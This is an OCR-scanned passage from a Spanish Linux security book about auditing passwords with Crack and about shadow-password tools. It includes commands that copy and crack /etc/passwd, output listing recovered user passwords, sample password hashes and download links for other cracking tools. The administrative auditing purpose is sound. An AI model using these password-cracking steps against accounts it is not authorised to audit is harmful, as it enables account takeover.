De nuevo, vera pasar muchos mensajes por la pantalla mientras se compila
Crack. Este proceso puede durar unos 10 minutos. Si el sistema compila Crack
correctamente, vera el siguiente mensaje:

all made in util
make[1]: Leaving directory '/rot/c5@a/src/util’
Crack: makeonly done

A continuacién, debe hacer que Crack compile los diccionarios. Para ello,
introduzca el siguiente comando:

$ Crack -makedict

Este proceso tardar4 algun tiempo. Cuando haya terminado, Crack mostrara el
siguiente mensaje:

Crack: Created new dictionary...
Crack: makedict done

Ya puede empezar a utilizar Crack.
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Ejecutar Crack

Crack puede romper el archivo /etc/passwd directamente, por lo que no es
necesario copiar los registros de las contrasefias en otro archivo. Sin embargo,
como nos gusta tenerlo todo junto, hemos copiado /etc/passwd en passwords.txt
del directorio /cd50a:

$ cp /etc/passwd passwords.txt

Para ejecutar Crack, introduzca el comando Crack, mas las opciones (que se
explican mas adelante), mas el nombre del archivo que contiene las contrasefias,
como sigue:

$ Crack passwords.txt
Se iniciara Crack y mostrara un informe inicial:

src; for dir in * ; do ( cd $dir ; make clean ) ; done )
make[1]: Entering directory '/root/c50a/src/lib’

rm -f dawglib.o debug.o rules.o stringlib.o *~

make[1]: Leaving directory " /root/c50a/src/lib’

make[1]: Entering directory '/root/c50a/src/libdes’

/bin/rm -f *.0 tags core rpw destest des speed libdes.a .nfs* *.old \
*.bak destest rpw des speed

make[1]: Leaving directory '/root/c50a/src/libdes’

make[1]: Entering directory °/root/c50a/src/util’

rm -f *.0 *~

make[1]: Leaving directory ‘/root/c50a/src/util'

make[1]: Entering directory '/root/c5@a/src/lib’

make[1]: "../../run/bin/linux-2-i586/1ibc5.a' is up to date.
make[1]: Leaving directory '/root/c50a/src/lib'

make[1]: Entering directory '/root/c50a/src/util’

all made in util

make[1]: Leaving directory "/root/c50a/src/util’

Crack: The dictionaries seem up to date...

Crack: Sorting out and merging feedback, please be patient...
Crack: Merging password files...

cat: run/F-merged: No such file or directory

Crack: Creating gecos-derived dictionaries

mkgecosd: making non-permuted words dictionary

mkgecosd: making permuted words dictionary

Crack: launching: cracker -kill run/Ksamshacker.sams.net.1092

Tras iniciarse, Crack se ejecutara como un proceso en segundo plano a menos
que se especifique lo contrario. Se le puede seguir la pista utilizando el comando ps.
Estas son algunas salidas tipicas:

1175 2 S N 0:04 cracker -kill run/Ksamshacker.sams.net.1092
1178 2 Z N 0:00 (kickdict <zombie>)
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4760
4761
4762
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4764
4765
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kickdict 240

sh root/c5@a/scripts/smartcatrun/dict/gecos.txt.dwg.gz
sh -c dictfilt | crack-sort | uniq

dictfilt

sort

sh -c¢ dictfilt | crack-sort |, uniq

A medida que funciona, Crack aplica muchas reglas a cada palabra. Las reglas
son las distintas formas posibles en que puede haberse escrito una contraseia. Por

ejemplo:

e Alternar maytsculas con mindsculas.

e Escribir la palabra hacia delante y hacia atras y concatenar ambos resultados
(por ejemplo: cannac).

e Repetir una palabra una, dos o varias veces (vera un ejemplo en los
resultados de esta sesion de ruptura).

¢ Anadir el nimero 1 al comienzo o al final de cada palabra.

La Tabla 5.1 muestra algunas de las reglas que emplea Crack.

Tabla 5.1 Algunas reglas habituales de Crack

Regla Resultado

append: $X Se afiade el caracter X al principio de la palabra actual.

capitalise: c Pone la primera letra en mayuscula.

dfirst: [ Borra el primer caracter de la palabra actual.

dlast: [ Borra el ultimo caracter de la palabra actual.

duplicate : d Deletrea la palabra actual dos veces y las funde (vera un ejemplo en la
sesion de muestra).

lowercase: | Pone en minuscula la palabra actual.

ncapital: C Pone en minuscula la primera letra y en mayuscula el resto.

pluralise: p Pone en plural la palabra actual.

reflect: f Escribe la palabra actual primero hacia delante, luego hacia atras y las
funde.

reverse: r Escribe al revés la palabra actual.

togcase: t Invierte las mayusculas y minusculas.

uppercase: u

Pone en maytiscula la palabra actual.

NOTA

Crack también puede aplicar muchas otras reglas. Para obtener mds informacion,
véase el manual de Crack.
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También se pueden tener a la vista Crack y la regla que se utiliza actualmente
observando los archivos de progreso de /c50a/run. Este es un ejemplo:

1:925693285:LoadDictionary: loaded 10 words into memory
G:925693285:yIRWmr3zbhms6:nicole

1:925693285:0penDictStream: trying: kickdict 4
1:925693285:0penDictStream: status: /ok/ stat=1 look=4 find=4
genset="'conf/rules.basic' rule='!?Alp' dgrp='gecos' prog='smartcat

NOTA

Para examinar el conjunto de reglas bdsicas de Crack, véase el archivo
c50a/conf/rules.basic o ejecute el comando:

c50a/run/bin/ARCHITECTURE/kickdict ~list.

Ver los resultados

Para ver si Crack ha adivinado correctamente nuestras contraseiias, utilice la
herramienta Report, que se encuentra en /c50a, de la siguiente forma:

S./Reporter
Esta es la salida de la sesion del ejemplo:

Guessed marty [marty] Marty Rush [passwords.txt /bin/bash]

Guessed Nicole [alexalex] Caldera OpenLinux User [passwords.txt /bin/bash}
Guessed manny [willow] Caldera OpenLinux User [passwords.txt /bin/bash]
Guessed moe [solace] Caldera OpenLinux User [passwords.txt /bin/bash]

Como se puede observar, Crack ha encontrado cuatro contrasenas, tarea en la
que ha invertido unos dos minutos y es probable que pueda deducir el motivo de
tan escasa dilacion: las contrasefias elegidas eran demasiado débiles. En este
capitulo se explicara la eleccion de contrasenas.

Opciones de la linea de comandos de Crack

Crack admite varias opciones en la linea de comandos. La Tabla 5.2 resume las
mas comunmente utilizadas.

Tabla 5.2 Opciones mds comunes de la linea de comandos de Crack

Opcion Propésito

-debug La opcién —debug proporciona informacion estadistica e informes de los
procesos en tiempo real.

-fgnd La opcion ~fgnd se utiliza para ejecutar Crack en primer plano, de forma
que se puede observar lo que hace el proceso. (Preparese para un
frenético STDOUT.)
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Tabla 5.2 Opciones mds comunes de la linea de comandos de Crack
(continuacién)

Opcidn Propésito

-from N La opcion —from se utiliza para ejecutar Crack a partir de un numero de
regla determinada, representado por el numero N.

-mail La opcién —mail se utiliza para que Crack envie un e-mail a todos los
usuarios cuyas contrasefias se hayan forzado. De esta forma, se les
notifica de manera inmediata que sus contrasefas eran débiles. El men-
saje de aviso se puede personalizar, editandolo en c50a/scripts/nastygram.
Observe que existen argumentos razonables para no enviar correo a un
usuario cuando su contrasefia no es satisfactoria (por ejemplo, si su correo
se expone con ello).

-network La opcidn -network se utiliza para ejecutar Crack en modo de red, donde
se pueden auditar las contraseias utilizando varias maquinas a la vez. Para
personalizar el funcionamiento de la red, véase el archivo de con-
figuracion de red (c50a/conf/nerwork.conf).

-nice La opcidn -nice se utiliza para designar Crack como un proceso de baja
prioridad, lo que permite a procesos de mayor prioridad utilizar la CPU
siempre que la necesiten. (Esta es una buena opcién cuando se esta
auditando una gran base de datos de contrasefias en una sola maquina.)

-recover La opcién -recover se utiliza cuando estamos reiniciando el proceso Crack
debido a un fallo o una terminacién anormal. Esto protege las construc-
ciones de bibliotecas que ya estan disponibles.

Accesorios de Crack: listas de palabras

Por dltimo, la caja de herramientas de Crack no estaria completa sin una copiosa
coleccion de listas de palabras (o diccionarios). Las listas de palabras son
simplemente listas de palabras, normalmente una por linea, en formato ASCII, que
se pueden incorporar al sistema de diccionarios de Crack para ampliar el ambito de
ataque de los diccionarios. Tenga en cuenta que cuanto mayores sean las listas de
palabras, mas tiempo tardara Crack en completar una pasada. Sin embargo,
también se incrementaran las posibilidades de dar con una contraseiia.

Crack incluye listas de palabras prefabricadas que se pueden utilizar en la mayoria
de las auditorias de contrasenas de escasa importancia. Sin embargo, si pretende
hacer auditorias de contraseiias de validez industrial, visite los siguientes sitios:

e Puede encontrar listas de palabras de diccionarios en el National Center for
Supercomputer Applications. Este centro ofrece el "Official Scrabble Players’
Dictionary" y el diccionario de Webster en http://sdg.ncsa.uiuc.edu/~mag/
Misc/Wordlists.html.

¢ Para hacer auditoria de contrasefias a gran escala, puede probar el "Wordlist
Archive" en Coast Purdue. El archivo de Coast ofrece listas de palabras
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sobre temas de computacién, literatura, cine y televisién, nombres propios,
nombres geograficos, términos religiosos y términos cientificos. Mds aun, el
sitio aloja diccionarios en varios idiomas, entre los que se incluyen aleman,
australiano, chino, danés, espaiiol, francés, hebreo, italiano, japonés, neer-
landés, noruego y sueco. Puede encontrarlo en ftp:/coast.cs.purdue.edu/
pub/dict/wordlists/.

Para anadir diccionarios, véase el archivo ¢50s/conf/dictgrps.conf, ya que contiene
punteros a todos los diccionarios que se utilizan actualmente. Puede anadir su pro-
pia entrada. El formato de entrada es priority:directory, como: 1:/usr/dict/*words*. El
directorio recibe una prioridad (1) alta y las listas de palabras son cualquier nombre
de archivo que incluya la cadena word dentro de /usr/dict. La prioridad indica qué
listas (o grupos de diccionarios) deben usarse primero o cuéles tienen mas probabili-
dad de contener contrasefias. Por ejemplo, es conveniente empezar con palabras
comunes y nombres propios y continuar con listas menos probables, como aquéllas
que contienen términos cientificos. Para obtener mds informacion, véase el manual
de Crack y los ejemplos del archivo conf/dictgrps.conf.

Algunas notas rapidas sobre rendimiento: Crack es bastante rapido, pero de-
pende en gran medida del hardware. Sin duda alguna, la configuracién ideal es un
equipo a 400 MHz con 256 MB de RAM. Desafortunadamente, no todo el mundo
tiene esta potencia. Sin embargo, en aquellos sistemas en los que los usuarios no
eligen bien sus contraseiias, es probable que vea que se han roto las contrasefias de
todos los usuarios en una hora. (Cuando vaya a probar muchas contrasefias en un
entorno de empresa, tenga en cuenta la posibilidad de dedicar un equipo especifi-
camente para ello. Conseguird un mejor rendimiento y evitara preocupaciones
acerca del uso y de la prioridad de la CPU.)

Alternativas a Crack

Crack estd muy implantado y es bastante efectivo, pero no es la tinica opcién. La
Tabla 5.3 muestra otras herramientas de auditoria de contrasefias de DES que
utiliza UNIX-Linux.

Tabla 5.3 Otras herramientas de auditoria de contrasefias compatibles con Linux

Herramienta Descripcion y localizacién

John the Ripper Una herramienta de auditoria de contrasefas de propdsito general
para DOS, Windows y UNIX. Sin embargo, pese a que John maneja
contrasefias estilo DES, no utiliza el enfoque crypt(3). En su lugar,
utiliza algoritmos propios. No obstante, John es rapida, admite muchas
reglas y opciones y estd bien documentada. Se puede conseguir en
http://www.bullzeye.net/'tools/crackers/john.zip.
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Tabla 5.3 Otras herramientas de auditoria de contrasefias compatibles con Linux
(continuacién)

Herramienta Descripcion y localizacién

Killer Cracker Una herramienta para auditorias de contrasefias de poca importancia
creada por el Doctor Dissector en C++. Pese a que Killer Cracker
carece de algunas funcionalidades extendidas disponibles en Crack,
sigue siendo rapida. Se puede obtener en http://www.giga.or.at/pub/
hacker/unix/kc9_11 .tar.Z.

Lard Una herramienta de auditoria de contrasenas para Linux y otras
versiones de UNIX. Lard es lo suficientemente pequena para caber en
un disquete, lo que es til para auditar equipos no conectados en red,
de diferentes departamentos, etc. Se puede conseguir en http://rat.pp.
se/hotel/panik/archive/lard.zip.

PerlCrack Un intruso de contrasefias DES de Perl para Linux. Se puede con-
seguir en http://www.netrom.com/~cassidy/utils/pcrack.zip.

Xcrack Un script en Perl para romper contrasenas de Linux. No utiliza reglas
complejas, sino que ejecuta un cifrado completo del archivo de
diccionarios. Es titil para entornos en los que se espera que los usuarios
hayan hecho elecciones de contrasefias excepcionalmente malas. Se
puede conseguir en http://netrom.com/~cassidy/utils/ xcrack.pl.

Estas herramientas se estan volviendo cada vez mas habituales y ofrecen una
amplia variedad de ataques. Por ejemplo, algunas herramientas no ofrecen
simplemente ataques a diccionarios, sino ataques por fuerza bruta que prueban
todas las posibles combinaciones. Este es un proceso aparentemente indiscrimi-
nado y en algunos casos realmente lo es. Sin embargo, las rutinas de fuerza bruta
estan disefiadas para probar primero las combinaciones mas probables.

No obstante, la mayor diferencia entre estos dos enfoques es que los ataques
por fuerza bruta finalmente siempre acaban por imponerse. (Este proceso puede
tardar varios meses. Como se podria esperar, los ataques por fuerza bruta llevan su
tiempo.) Por el contrario, los ataques a diccionarios son tan dtiles como lo sean la
lista de palabras y las reglas.

Ataques a diccionario: una perspectiva historica

Los ataques a diccionarios del tipo Crack son motivo de muchas habladurias.
Todavia hoy se producen dichos ataques, pese a que estan disminuyendo a medida
que aumenta el uso del shadowing.

Una historia interesante desde el punto de vista de un administrador de siste-
mas aparecia en un articulo clasico titulado "Security Breaches: Five Recent
Incidents at Columbia University". En é€l, el autor decia:
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"Durante un periodo de dos meses (febrero-marzo de 1990) la Universidad
de Columbia se vio envuelta en cinco incidentes relacionados con entradas
ilegales a diversos sistemas del Centro de Computacion... El viernes 16 de
febrero de 1990, alrededor de las 5 p.m., un miembro del grupo de sistemas
UNIX observé que uno de nuestros Multimaxes se mostraba desacostum-
bradamente lento para ser viernes por la tarde. Una rapida ojeada a todos los
procesos en ejecucion para tratar de identificar qué es lo que estaba
utilizando el sistema revel6 que un programa llamado program 2 se estaba
ejecutando como usuario userl...

Una ojeada al archivo del historial ksh de userl para ver cual era y desde
ddonde se ejecutd el programa revelé una actividad inusual. userl estaba
conectado a un directorio denominado ".. " (punto punto espacio espacio) y
habia ejecutado un programa desde alli. Este directorio contenia una copia
de nuestro /etc/passwd, un archivo llamado funlist y una lista de 324
palabras llamada list que contenia gran cantidad de nombres de pila,
nombres de personas famosas y de equipos, y cuatro miscelaneas de otras
palabras. En este directorio encontramos otra copia del ejecutable, pero el
codigo fuente no estaba alli. Después de examinar el ejecutable con
herramientas como strings y nm, llegamos a la conclusién de que ese
programa era un "cracker de contrasenas" (o un "comprobador de contra-
sefias", dependiendo del punto de vista)."

(Véase "Security Breaches: Five Recent Incidents at Columbia University", Fuat
Baran, Howard Kaye y Margarita Suarez, Center for Computing Activities de la
Universidad de Columbia. Se puede encontrar en http://www.vc3.com/~caldwm/
security/OLDARCHIVE/papers/columbia_incidents.ps).

En dltimo término, los investigadores encontraron al menos un culpable, un
estudiante de alli, pero los otros permanecieron en el anonimato. El articulo
describe muchos otros casos. Su lectura es muy aconsejable para que los usuarios
principiantes de Linux se hagan una idea de cémo es un ataque de este tipo y cuales
son las senales de alarma.

Otros documentos importantes sobre el tema son:

¢ "Foiling the Cracker: A Survey of, and Improvement to, Password Security",
Daniel V. Klein, Software Engineering Institute, Universidad de Carnegie
Mellon. Klein explica los aspectos practicos de la seguridad en contrasefias
y la forma en que el incremento de la potencia del procesador y una mala
eleccion de contrasefias pueden conducir a ataques muy efectivos a
diccionarios. Se puede encontrar en http://www.alw.nih.gov/Security/FIRST/
papers/password/klein.ps.

* "UNIX Password Security — Ten Years Later", David C. Feldmeier y Philip R.
Karn, Bellcore. Este es un documento formidable que explora no solo los
ataques a diccionarios, sino también otros posibles métodos que aprovechan la
potencia substancial del procesador para decodificar DES. Se puede encontrar
en http://www.alw.nih.gov/Security/FIRST/papers/password/pwtenyrs.ps.
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e "A Simple Scheme to Make Passwords Based onOne-Way Functions Much
harder to Crack", Udi Manber, Departament of Computer Science,
Universidad de Arizona. Manber aborda un enfoque interesante: en lugar de
las preocupaciones por los ataques a DES mediante listas de palabras, el
centro de atencion es la probabilidad de que los intrusos puedan generar y
distribuir una lista masiva de contraseias cifradas. Se puede encontrar en
ftp://ftp.cs.arizona.edu/reports1994/TR94-34.ps.

e "Password Security: A Case History", Robert Morris, KenThompson, Bell
Labs. Este es otro buen documento que explora los medios teéricos y practicos
para romper el cifrado de las contrasenas de DES. Se puede encontrar en
http://www.alw.nih.gov/Security/FIRST/papers/password/pwstudy.ps.

Las herramientas de ataque a diccionarios como Crack son muy valiosas, ya que
ayudan a probar la robustez relativa de las contraseias de los usuarios (lo que se
explicara mas adelante). Sin embargo, como casi cualquier otra herramienta de
seguridad, Crack puede ser también una poderosa herramienta en malas manos.

De hecho, los ataques a diccionarios siempre han sido una parte integral de la
escena del cracking. Durante afios, los intrusos se han dirigido a /etc/passwd
porque era donde se almacenaban las contrasenas de los usuarios. Una vez que los
atacantes las tenian, lo tenian todo. En consecuencia, los especialistas en seguridad
de UNIX se vieron forzados a reconsiderar la seguridad de las contraseiias.
Necesitaban una forma de que /etc/passwd fuera legible, al mismo tiempo que
oscurecian las contrasefias cifradas. La solucion fue el shadowing de contraseias.

Shadowing de contraseiias y la suite shadow

El shadowing de contrasefias es una técnica mediante la que el archivo
/etc/passwd sigue siendo legible pero ya no contiene las contrasefias. En su lugar,
las contraseiias de los usuarios se almacenan en /etc/shadow.

Hay varias herramientas que realizan el shadowing, pero la mas popular es Linux
Password Shadow Suite (el paquete de shadow), que lleva afos utilizandose. Sin
embargo, dependiendo del tipo y antigiiedad de la distribucién, puede tenerla o no.
Para comprobarlo, examine /etc/passwd. Si contiene las contrasefias cifradas en
bruto en el segundo campo, el paquete de shadow no esta instalado. En ese caso,
hay que visitar la FTP o el sitio web del proveedor (o revisar el CD-ROM) para
obtener e instalar el paquete.

Algunas notas: en el momento de escribir este libro, la mayoria de las distribuciones
de Linux incluyen de forma estandar la suite shadow (Debian 1.3+, Red Hat 3.0.3+y
SlackWare 3.2+). Sin embargo, dependiendo del tipo de instalacion que se haya rea-
lizado, es posible que tenga que recuperar varias utilidades de shadow del CD-ROM
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de la distribucién. Normalmente vienen en un paquete llamado shadow-utils, sha-
dow-m, shadow-misc o algo similar. Si no consigue averiguar si estos paquetes estin
instalados o incluso si estin disponibles en el CD-ROM, puede utilizar un adminis-
trador de paquetes como glide o LISA para encontrarlos.

Tras haber instalado el paquete de shadow (y haber comprobado que estan
todas las utilidades de shadow), examine la base de datos de contrasefias de
shadow. /etc/shadow es el punto central de la suite shadow, asi que empezaremos
por ahi.

NOTA

Existen otras suites de shadowing para Linux, como Shadow in a Box, de Michael
Quan, una recopilacién de utilidades para gestionar todas las contrasefias de sha-
dow. El paquete contiene herramientas para FTP, POP, sudo y xlock, asi como una
biblioteca de crack compacta y extendida. Shadow in a Box se puede obtener en
http://metalab.unc.edu/pub/Linux/system/admin/shadow-ina-box-1.2.tgz.

/etc/shadow: la base de datos de contrasenas
de shadow

/etc/shadow es un archivo especial que almacena no sélo las contraseiias de los
usuarios sino también indicadores de reglas especiales (se explicara en este mismo
capitulo). He aqui un tipico archivo /etc/shadow:

root:1LOTWOUA.YC20:10713:0::7:7::
bin:*:10713:0::7:7::
daemon:*:10713:0::7:7::
adm:*:10713:0::7:7::
1p:*:10713:0::7:7::
Sync:*:10713:0::7:7::
shutdown:*:10713:0::7:7::
halt:*:10713:0::7:7::
mail:*:10713:0::7:7::
news:*:10713:0::7:7::
uucp:*:10713:0::7:7::
operator:*:10713:0::7:7::
games:*:10713:0::7:7::
gopher:*:10713:0::7:7::
ftp:*:10713:0::7:7::
man:*:10713:0::7:7::
majordom:*:10713:0::7:7::
postgres:*:10713:0::7:7::
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nobody:*:10713:0::7:7::
bigdave:aNi7cQR3XSTmc:10713:0::7:7::
jackie:7PbiWxVa5Ar9E:10713:0:-1:7:-1:-1:1073897392

Desde varios puntos de vista, /etc/shadow se asemeja a /etc/passwd. El
archivo consta de un registro por linea y cada registro se divide en nueve campos
separados por dos puntos () :

El nombre de usuario.
La contrasefia de usuario.

El niimero de dias desde el 1 de enero de 1970, fecha en que se cambi6 la
contrasefa por tltima vez.

El niimero de dias que quedan antes de que se permita al usuario cambiar su
contrasena.

El nimero de dias que quedan antes de que el usuario tenga que cambiar su
contraseiia.

El nimero de dias de antelacion con que se avisa al usuario de que pronto
tendra que cambiar su contrasefa.

El niimero de dias que quedan para que el usuario cambie su contrasefia
antes de que su cuenta sea cancelada.

El nimero de dias desde el 1 de enero de 1970 que la cuenta ha sido
cancelada.

El dltimo campo esta reservado.

Utilizando estos valores, la suite shadow implementa dos nuevos conceptos del
mantenimiento basico de las bases de datos de contrasefias:

Vencimiento de la contrasefia: es cuando limitamos las contrasefias a un
tiempo de vida finito, por ejemplo, 90 dias. Cuando este tiempo se acaba,
Linux obliga a los usuarios a crear nuevas contrasefias. Si se utiliza el
vencimiento de contrasefas junto con la comprobacion proactiva de las
mismas (se explicara en este mismo capitulo), la seguridad mejora.

Bloqueo automatico de cuenta: avisar simplemente a los usuarios de la
necesidad de cambiar sus contrasefias es poco realista. Los usuarios son
perezosos y propensos a olvidarlo. Lo mejor es bloquear sus cuentas si se
niegan a cooperar, pero hacerlo manualmente consume mucho tiempo. Con
la suite shadow no hay que preocuparse, ya que el bloqueo se efectia
automaticamente. (Se pueden especificar las reglas de bloqueo.)

La suite shadow consta de multiples utilidades para la gestion de usuarios,
grupos y contrasefias. Estas herramientas y sus funciones se resumen en la
Tabla 5.4.
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Tabla 5.4 Utilidades de la suite shadow y sus funciones

Utilidad

Funcién

chage

chfn

chsh

gpasswd
groupadd

groupdel

groupmod

grpck

login

newgrp

passwd

pwck

Un comando nativo de la suite shadow. chage se utiliza para cambiar la
informacion de expiracién de contrasefia de los usuarios, como el niimero
de dias entre cambios de contrasefas y la fecha en que se cambi6 la
contrasena por ultima vez.

Una sustituta de la suite shadow para la utilidad chfn estandar de Linux.
chfn permite a los usuarios cambiar su informacion de finger (por ejemplo,
sus nombres reales).

Una sustituta de la suite shadow para la utilidad chsh estandar de Linux.
chsh es una utilidad que permite a los usuarios cambiar su shell
predeterminada.

Un comando nativo de la suite shadow. Se utiliza para afiadir nuevos
usuarios a los grupos.

Un comando nativo de la suite shadow. Se utiliza para afiadir nuevos
grupos.
Un comando nativo de la suite shadow. Se utiliza para borrar grupos.

Un comando nativo de la suite shadow. Se utiliza para modificar la
informacion de los grupos.

Un comando nativo de la suite shadow. Se utiliza para realizar la
verificacion de los campos y la sincronizacién entre /etc/group y
/etc/gshadow. Comparese con pwchk, que verifica /etc/passwd frente a
/etc/shadow.

Un sustituto de la suite shadow para el comando id estandar de Linux. id
es una utilidad que muestra el UID (Id. del usuario) y la informacién
asociada.

Un sustituto de la suite shadow para el login estandar de Linux. Cuando un
usuario inicia una sesion, login debe interactuar con la base de datos de
contrasefas. Esta base de datos de shadow esta estructurada de forma
diferente, de ahi que sea necesaria una sustitucion de login.

Un sustituto de la suite shadow para el comando newgrp estandar de Linux.
Los usuarios pueden cambiar de un grupo a otro (durante la misma sesion,
después de volver a iniciar la sesién) utilizando el comando newgrp.

Un sustituto de la suite shadow para el comando passwd estandar de
Linux. passwd sirve para crear nuevas contrasefias de usuario o para
cambiar las existentes. La base de datos de contrasefias de shadow esta
estructurada de forma diferente, de ahi que sea necesaria una sustitucién
de passwd.

Un comando nativo de la swite shadow. Se utiliza para realizar la
verificacién de los campos y la sincronizacién entre /etc/shadow y
/etc/passwd. Comparese con grpchk, que verifica la informacion de los
grupos.
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Tabla 5.4 Utilidades de la suite shadow y sus funciones (continuacion)

Utilidad

Funcién

pwconv

pwunconv

su

userdel

usermod

Un comando nativo de la suite shadow. Se utiliza para fusionar los viejos
registros de /etc/passwd en una nueva base de datos de shadow.

Un comando nativo de la suite shadow. Se utiliza para separar informacion
de /etc/shadow y volver a convertirla al formato /etc/passwd.

Un sustituto de la suite shadow para el su estandar de Linux. El comando su
permite ejecutar una shell con UID y GID que no sean los propios, siempre
que se conozca la contrasena correcta, lo que es ttil para conceder a
usuarios corrientes derechos administrativos parciales o totales.

Un comando nativo de la suite shadow. Se utiliza para borrar usuarios
(userdel ~r jsprat). Este comando borrard al usuario jsprat y su directorio
de origen.

Un comando nativo de la suite shadow. Se utiliza para cambiar la in-
formacién de un usuario (su skell, el tiempo de expiracién de la con-
trasena, etc.).

Veamos las herramientas mas esenciales de la suife shadow y las tareas que

llevan a cabo.

Dependiendo de la distribucién de Linux que tengamos y de lo integrada que esté
con el shadowing, es posible que algunas de las herramientas anteriores no puedan
utilizarse; como por ejemplo, pwchk, pwconv y pwuncony, entre otras. Las Gltimas
distribuciones (como Red Hat 6.0) utilizan la mayoria de las herramientas de admi-
nistracién de contrasefias a través de herramientas graficas, lo que simplifica mucho
el asunto. Cuando tenga alguna duda, consulte las paginas del manual (man —k
passwd, man -k shadow) o vea el panel de control de X.

Anadir usuarios en sistemas con shadowing: useradd

Para afiadir un usuario a un sistema de contrasenas con shadowing, se utiliza la
utilidad useradd, que gestiona las entradas de /etc/passwd, /etc/group y

/etc/shadow.

Aplicacién: useradd (/user/sbin/useradd).

Necesita: useradd.

Archivos de configuracion: ninguno. Forma parte del paquete shadow.

Historial de seguridad: useradd tiene un registro de seguridad importante.
Las primeras versiones podian crear potencialmente un UID 0 (ro0f) si no se
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especificaba explicitamente un UID de usuario con la opcion —u (véase el resumen
de las opciones de linea de comando en este capitulo). Este es un defecto antiguo
(alrededor de 1995), asi que es poco probable que afecte a su version. Sin embargo,
si utiliza una version anterior de Linux, deberia comprobarlo. Ademas, se ha
comprobado que tanto la versién 3.3.1 como la 3.3.2 de shadow presentaban serios
problemas de seguridad referentes a los archivos SUID y login.

useradd utiliza varios argumentos y opciones. Estas opciones se resumen en la

Tabla 5.5.

Tabla 5.5 Opciones de la linea de comandos de useradd

Opcion

Propésito

b

- [comentario]

-d [dir]

-e [fecha de expiracion)

| [inactivity-lockout]

-G [grupo adicional)

-g [grupo)

Esta opcién casi nunca se utiliza. Se usa para especificar un
directorio inicial para aquellos usuarios que no tienen directorio de
inicio. (En otras palabras, éste sera el primer directorio al que iran
cuando inicien la sesion.)

Esta opcion se utiliza para especificar el nombre real del usuario o,
alternativamente, un comentario. (El texto que escriba rellenara el
gecos o campo de comentarios en /etc/passwd.)

Esta opcion se utiliza para especificar el directorio de inicio del
nuevo usuario.

Esta opcion se utiliza para especificar la fecha en que expirara la
contrasefia del nuevo usuario. Para esto se puede utilizar casi
cualquier formato de fecha estandar, incluyendo MM/DD/YY, o
incluso el formato largo, como en 1 de enero de 2000. Sin
embargo, si se utiliza este formato, o cualquier otro que incluya
espacios en blanco, la fecha debe escribirse entre comillas.
Considere forzar la expiracion al menos cada 90 dias.

Esta opcion se utiliza para especificar cuantos dias pueden pasar
sin que el usuario se conecte antes de que la cuenta sea cancelada.
Este valor debe expresarse en dias. Por ejemplo, -f 90 bloqueara la
cuenta después de 90 dias de inactividad.

Nota: si espera que una cuenta va a estar inactiva durante mas de
120 dias seguidos, quiza deba desactivarla hasta que el usuario
realmente la necesite. Las cuentas inactivas son una invitacion
abierta para los atacantes. Puede ocultar en cierta medida la
inactividad a los intrusos deshabilitando finger, pero en general,
esto es sblo parcialmente efectivo. Por supuesto, los usuarios
locales pueden consultar los wltimos registros para saber cuando
se conectd por ultima vez un usuario (last username).

Esta opcion se utiliza para asignar el usuario a grupos adicionales,
ademas de su grupo primario.

Esta opcién se utiliza para asignar el usuario a un grupo especifico.
Este sera su grupo primario, al que pertenecera siempre.
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Tabla 5.5 Opciones de la linea de comandos de useradd  (continuacion)

Opcidén Propésito

-m Esta opcién se utiliza para que useradd cree el directorio de inicio
del nuevo usuario.

-8 [shell} Esta opcion se utiliza para especificar la shell predeterminada del
nuevo usuario (normalmente, /bin/bash).

u [wid] Esta opcién se utiliza para especificar el UID del nuevo usuario.

Si llama a useradd sin argumentos, aparece un resumen de uso:

usage: useradd [-u uid] [-g group] [-m] [-d home] [-s shell] [-r rootdir]
[-e expire dd/mm/yyyy] [-f inactive] name

useradd -D

useradd -v

Esta es una linea de comandos minima que creara una entrada de usuario en
/etc/passwd, /etc/group y /etc/shadow:

/usr/sbin/useradd jsprat -m -c"Jack Sprat" -u510 -g10@ -s/bin/bash

En /etc/passwd, se afiade jsprat a la lista de usuarios, junto con sus UID, GID,
nombre real, origen y shell:

bigdave:x:100:100:Big Dave:/home/bigdave:/bin/bash
jackie:x:101:100:Jackie: /home/jackie: /bin/bash
jsprat:x:510:100:Jack Sprat:/home/jsprat/:/bin/bash

En /etc/shadow, también se afiade jsprat a la lista de usuarios. Sin embargo,
observe que su contrasefia no se ha generado automaticamente:

root:ILOTWOUA.YC20:10713:0::7:7::
bin:*:10713:0::77::
daemon:*:10713:0::7:7::
adm:*:10713:0::7:7::
1p:*:10713:0::7:7::
sync:*:10713:0::7:7::
shutdown:*:10713:0::7:7::
halt:*:10713:0::7:7::
mail:*:10713:0::7:7::
news:*:10713:0::7:7::
uucp:*:10713:0::7:7::
operator:*:10713:0::7:7::
games:*:10713:0::7:7::
gopher:*:10713:0::7:7::
ftp:*:10713:0::7:7::
man:*:10713:0::7:7::
majordom:*:10713:0::7:7::
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postgres:*:10713:0::7:7::

nobody:*:10713:0::7:7::
bigdave:aNi7cQR3XSTmc:10713:0::7:7::
jackie:7PbiWxVa5Ar9€:10713:0:-1:7:-1:-1:1073897392
jsprat:*not set*:10715:0:-1:7:-1:-1:

Recuerde esto cuando vaya a crear nuevos usuarios: useradd no genera
contrasefas. En su lugar, debe generar las contrasenas del usuario después de
haber creado su cuenta. El procedimiento para esto es exactamente el mismo que
el de creacion de la contrasefia de un usuario en un sistema sin shadowing. Utilice
el comando passwd:

[root@linuxbox2/root]# passwd jsprat

Enter new UNIX password

Retype new UNIX password

passwd: all authentication tokens updated successfully

Mis adelante, cuando consulte /etc/shadow, observara que se ha actualizado la
informacion de la contrasena del usuario:

bigdave:aNi7cQR3XSTmc:10713:0::7:7::
jackie:7PbiWxVa5Ar9E:10713:0:-1:7:-1:-1:1073897392
jsprat:cALtUMRT4@VbU:10715:0:-1:7:-1:-1:1073897392

Tras haber creado la cuenta y la contrasefa del nuevo usuario, el siguiente paso
consiste en incluir en ese directorio archivos vitales para el arranque. A continua-
cion vamos a explicar rapidamente este tema.

NOTA

El autor de la suite shadow ha escrito un script que gestiona la interaccién entre use-
radd y passwd a conveniencia. Este script se puede encontrar en el HOWTO de la
suite shadow en la Seccién 7.1, "Adding, Modifying, and Deleting Users".

Transferir archivos de inicio: /etc/skel

Cuando un usuario inicia una sesion, Linux lee la informacion sobre el entorno
de uno o varios archivos de inicio y a continuacion almacena copias originales de
estos archivos en /etc/skel. He aqui un listado tipico de /etc/skel:

$ 1s -al /etc/skel

drwxr-xr-x 4 root root 1024 May 2 13:32.
drwxr-xr-x 23 root root 3072 May 3 22:18..
“PW-I--1-- 1 root root 49 Nov 25 1997.bash_logout
“PW-IP--r-- 1 root root 913 Nov 24 1997.bashrc
